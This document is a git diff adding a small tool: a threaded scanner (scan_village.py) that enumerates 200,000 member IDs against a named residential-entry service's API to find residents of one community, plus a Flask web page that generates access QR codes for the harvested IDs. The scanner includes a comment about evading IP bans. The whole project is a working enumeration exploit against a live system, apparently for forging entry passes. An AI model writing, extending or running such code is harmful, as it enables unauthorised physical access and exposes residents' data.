+ if args.member_id is not None: + resp = fetch(args.member_id) + if args.json_out: + with open(args.json_out, "w", encoding="utf-8") as f: + json.dump(resp, f, ensure_ascii=False, indent=2) + qr_hex = resp["data"]["qr"] + + if not qr_hex: + raise SystemExit("provide --member-id or --qr") + + payload = get_command(qr_hex) + print("payload_len=", len(payload)) + print("payload_hex_prefix=", payload.hex()[:160]) + + if args.gif_out: + data_url = render_with_bundled_js(qr_hex) + save_data_url(data_url, args.gif_out) + print("saved", args.gif_out) + + if resp: + print(json.dumps(summarize_response(resp), ensure_ascii=False, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..840d434 --- /dev/null +++ b/requirements.txt @@ -0,0 +1 @@ +Flask>=3.0,<4.0 diff --git a/scan_village.py b/scan_village.py new file mode 100644 index 0000000..3378c08 --- /dev/null +++ b/scan_village.py @@ -0,0 +1,65 @@ +import json +import urllib.request +import concurrent.futures +from datetime import datetime + +# 配置参数 +API_URL = "https://jsh.szsentry.com/api//mine/one_see_secret_word" +TARGET_VILLAGE = "兆景华庭青年社区" +RANGE_START = 1 +RANGE_END = 200000 +MAX_THREADS = 15 # 线程数,建议不要开太大以免被封 IP +OUTPUT_FILE = "found_ids.txt" + +def check_id(member_id): + """请求单个 ID 并检查社区名称""" + body = json.dumps({"member_id": member_id}).encode() + req = urllib.request.Request( + API_URL, + data=body, + headers={"Content-Type": "application/json"}, + method="POST", + ) + + try: + with urllib.request.urlopen(req, timeout=5) as resp: + data = json.loads(resp.read().decode("utf-8")) + if data.get("status") == 200: + village = data.get("data", {}).get("village_name") + if village == TARGET_VILLAGE: + return member_id, village + except Exception: + # 忽略超时、网络错误或 404 等 + pass + return None + +def main(): + print(f"开始扫描 ID {RANGE_START} 到 {RANGE_END}...") + print(f"目标社区: {TARGET_VILLAGE}") + + found_count = 0 + + # 使用线程池加速 + with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_THREADS) as executor: + # 提交任务 + future_to_id = {executor.submit(check_id, i): i for i in range(RANGE_START, RANGE_END + 1)} + + with open(OUTPUT_FILE, "a", encoding="utf-8") as f: + for i, future in enumerate(concurrent.futures.as_completed(future_to_id)): + result = future.result() + if result: + mid, vname = result + found_count += 1 + output_str = f"ID: {mid} | Village: {vname}\n" + print(f"\n[!] 发现匹配: {output_str.strip()}") + f.write(output_str) + f.flush() # 确保实时写入硬盘 + + # 每 100 个打印一次进度 + if i % 100 == 0: + print(f"\r当前进度: {i}/{RANGE_END - RANGE_START + 1}", end="") + + print(f"\n扫描完成!共发现 {found_count} 个匹配项,结果已保存至 {OUTPUT_FILE}") + +if __name__ == "__main__": + main() diff --git a/static/app.js b/static/app.js new file mode 100644 index 0000000..7e4b2bd --- /dev/null +++ b/static/app.js @@ -0,0 +1,134 @@ +const searchInput = document.getElementById("searchInput"); +const memberSelect = document.getElementById("memberSelect"); +const generateBtn = document.getElementById("generateBtn"); +const statusText = document.getElementById("statusText"); +const resultCard = document.getElementById("resultCard"); +const qrImage = document.getElementById("qrImage"); +const downloadLink = document.getElementById("downloadLink"); +const rawJson = document.getElementById("rawJson"); + +const metaMemberId = document.getElementById("metaMemberId"); +const metaVillage = document.getElementById("metaVillage"); +const metaUuid = document.getElementById("metaUuid"); +const metaStatus = document.getElementById("metaStatus"); +const metaMsg = document.getElementById("metaMsg"); +const metaQrPrefix = document.getElementById("metaQrPrefix"); +const metaPayloadLen = document.getElementById("metaPayloadLen"); +const metaPayloadPrefix = document.getElementById("metaPayloadPrefix"); + +let allItems = []; + +function setStatus(message, isError = false) { + statusText.textContent = message; + statusText.classList.toggle("error", isError); +} + +function renderOptions(items) { + memberSelect.innerHTML = ""; + + if (!items.length) { + const option = document.createElement("option"); + option.value = ""; + option.textContent = "没有可选 ID"; + memberSelect.appendChild(option); + return; + } + + for (const item of items) { + const option = document.createElement("option"); + option.value = String(item.member_id); + option.textContent = item.label; + memberSelect.appendChild(option); + } + + if (!memberSelect.value) { + memberSelect.selectedIndex = 0; + } +} + +function filterItems() { + const keyword = searchInput.value.trim().toLowerCase(); + if (!keyword) { + renderOptions(allItems); + setStatus(`已加载 ${allItems.length} 个 ID`); + return; + } + + const filtered = allItems.filter((item) => { + const idText = String(item.member_id); + const village = String(item.village_name || "").toLowerCase(); + return idText.includes(keyword) || village.includes(keyword); + }); + + renderOptions(filtered); + setStatus(`筛选后剩余 ${filtered.length} 个 ID`); +} + +async function loadFoundIds() { + setStatus("正在加载 ID 列表..."); + try { + const response = await fetch("/api/found-ids"); + const data = await response.json(); + if (!response.ok || !data.ok) { + throw new Error(data.error || "加载 ID 列表失败"); + } + allItems = data.items || []; + renderOptions(allItems); + setStatus(`已加载 ${allItems.length} 个 ID`); + } catch (error) { + setStatus(error.message || "加载失败", true); + } +} + +function showResult(data) { + resultCard.classList.remove("hidden"); + qrImage.src = data.data_url; + downloadLink.href = data.data_url; + downloadLink.download = `member_${data.member_id}.gif`; + metaMemberId.textContent = data.member_id ?? "-"; + metaVillage.textContent = data.village_name ?? "-"; + metaUuid.textContent = data.uuid ?? "-"; + metaStatus.textContent = data.status ?? "-"; + metaMsg.textContent = data.msg ?? "-"; + metaQrPrefix.textContent = data.qr_prefix ?? "-"; + metaPayloadLen.textContent = data.payload_len ?? "-"; + metaPayloadPrefix.textContent = data.payload_hex_prefix ?? "-"; + rawJson.textContent = JSON.stringify(data, null, 2); +} + +async function generateQr() { + const memberId = memberSelect.value; + if (!memberId) { + setStatus("请先选择一个 member_id", true); + return; + } + + generateBtn.disabled = true; + setStatus(`正在为 ${memberId} 生成二维码...`); + + try { + const response = await fetch("/api/generate", { + method: "POST", + headers: { + "Content-Type": "application/json", + }, + body: JSON.stringify({ member_id: Number(memberId) }), + }); + const data = await response.json(); + if (!response.ok || !data.ok) { + throw new Error(data.error || "生成二维码失败"); + } + showResult(data); + setStatus(`member_id=${memberId} 生成成功`); + } catch (error) { + setStatus(error.message || "生成失败", true); + } finally { + generateBtn.disabled = false; + } +} + +searchInput.addEventListener("input", filterItems); +generateBtn.addEventListener("click", generateQr); +memberSelect.addEventListener("dblclick", generateQr); + +loadFoundIds(); diff --git a/static/styles.css b/static/styles.css new file mode 100644 index 0000000..d956466 --- /dev/null +++ b/static/styles.css @@ -0,0 +1,161 @@ +:root { + color-scheme: light dark; + font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", sans-serif; +} + +body { + margin: 0; + background: #0f172a; + color: #e2e8f0; +} + +.container { + max-width: 1080px; + margin: 0 auto; + padding: 24px; +} + +.card { + background: #111827; + border: 1px solid #334155; + border-radius: 16px; + padding: 20px; + box-shadow: 0 20px 40px rgba(0, 0, 0, 0.25); + margin-bottom: 20px; +} + +h1, h2 { + margin-top: 0; +} + +.subtitle { + color: #94a3b8; + margin-bottom: 20px; +} + +label { + display: block; + margin: 12px 0 8px; + font-weight: 600; +} + +input, +select, +button { + width: 100%; + box-sizing: border-box; + border-radius: 10px; + border: 1px solid #475569; + background: #0f172a; + color: #e2e8f0; + padding: 10px 12px; + font-size: 14px; +} + +select { + min-height: 320px; +} + +button { + cursor: pointer; + background: #2563eb; + border: none; + font-weight: 700; +} + +button:disabled { + cursor: not-allowed; + opacity: 0.7; +} + +.actions { + margin-top: 16px; + display: flex; + gap: 12px; + align-items: center; +} + +.actions button { + width: auto; + min-width: 160px; +} + +.status-text { + color: #93c5fd; +} + +.status-text.error { + color: #fca5a5; +} + +.hidden { + display: none; +} + +.result-layout { + display: grid; + grid-template-columns: minmax(260px, 340px) 1fr; + gap: 20px; +} + +.qr-panel { + display: flex; + flex-direction: column; + gap: 12px; +} + +.qr-panel img { + width: 100%; + background: #fff; + border-radius: 12px; +} + +.qr-panel a { + color: #93c5fd; + text-decoration: none; +} + +.meta-list { + margin: 0 0 16px; +} + +.meta-list > div { + display: grid; + grid-template-columns: 120px 1fr; + gap: 8px; + padding: 8px 0; + border-bottom: 1px solid #334155; +} + +.meta-list dt { + color: #94a3b8; +} + +.meta-list dd { + margin: 0; + word-break: break-all; +} + +pre { + white-space: pre-wrap; + word-break: break-word; + background: #020617; + border-radius: 12px; + padding: 12px; + overflow-x: auto; +} + +@media (max-width: 900px) { + .result-layout { + grid-template-columns: 1fr; + } + + .actions { + flex-direction: column; + align-items: stretch; + } + + .actions button { + width: 100%; + } +} diff --git a/templates/index.html b/templates/index.html new file mode 100644 index 0000000..455f20b --- /dev/null +++ b/templates/index.html @@ -0,0 +1,59 @@ + + + + + + MiniApp QR 页面 + + + +
+
+

MiniApp QR 页面

+

found_ids.txt 里选择一个 ID,然后请求服务端生成二维码。

+ + + + + + + +
+ + 正在加载 ID 列表... +
+
+ + +
+ + + + diff --git a/test.gif b/test.gif new file mode 100644 index 0000000..4fd9c2c Binary files /dev/null and b/test.gif differ diff --git a/web_app.py b/web_app.py new file mode 100644 index 0000000..7038d5d --- /dev/null +++ b/web_app.py @@ -0,0 +1,49 @@ +import os + +from flask import Flask, jsonify, render_template, request + +from miniapp_qr_poc import generate_member_qr, load_found_ids + +app = Flask(__name__) + + +@app.get("/") +def index(): + return render_template("index.html") + + +@app.get("/healthz") +def healthz(): + return jsonify({"ok": True}) + + +@app.get("/api/found-ids") +def api_found_ids(): + items = load_found_ids() + return jsonify({"ok": True, "count": len(items), "items": items}) + + +@app.post("/api/generate") +def api_generate(): + payload = request.get_json(silent=True) + if payload is None: + payload = request.form + + member_id = payload.get("member_id") if payload else None + if member_id is None or str(member_id).strip() == "": + return jsonify({"ok": False, "error": "missing member_id"}), 400 + + try: + result = generate_member_qr(int(member_id), include_data_url=True) + except ValueError as exc: + return jsonify({"ok": False, "error": str(exc)}), 400 + except Exception as exc: + return jsonify({"ok": False, "error": str(exc)}), 500 + + return jsonify({"ok": True, **result}) + + +if __name__ == "__main__": + host = os.getenv("HOST", "0.0.0.0") + port = int(os.getenv("PORT", "8000")) + app.run(host=host, port=port, debug=False)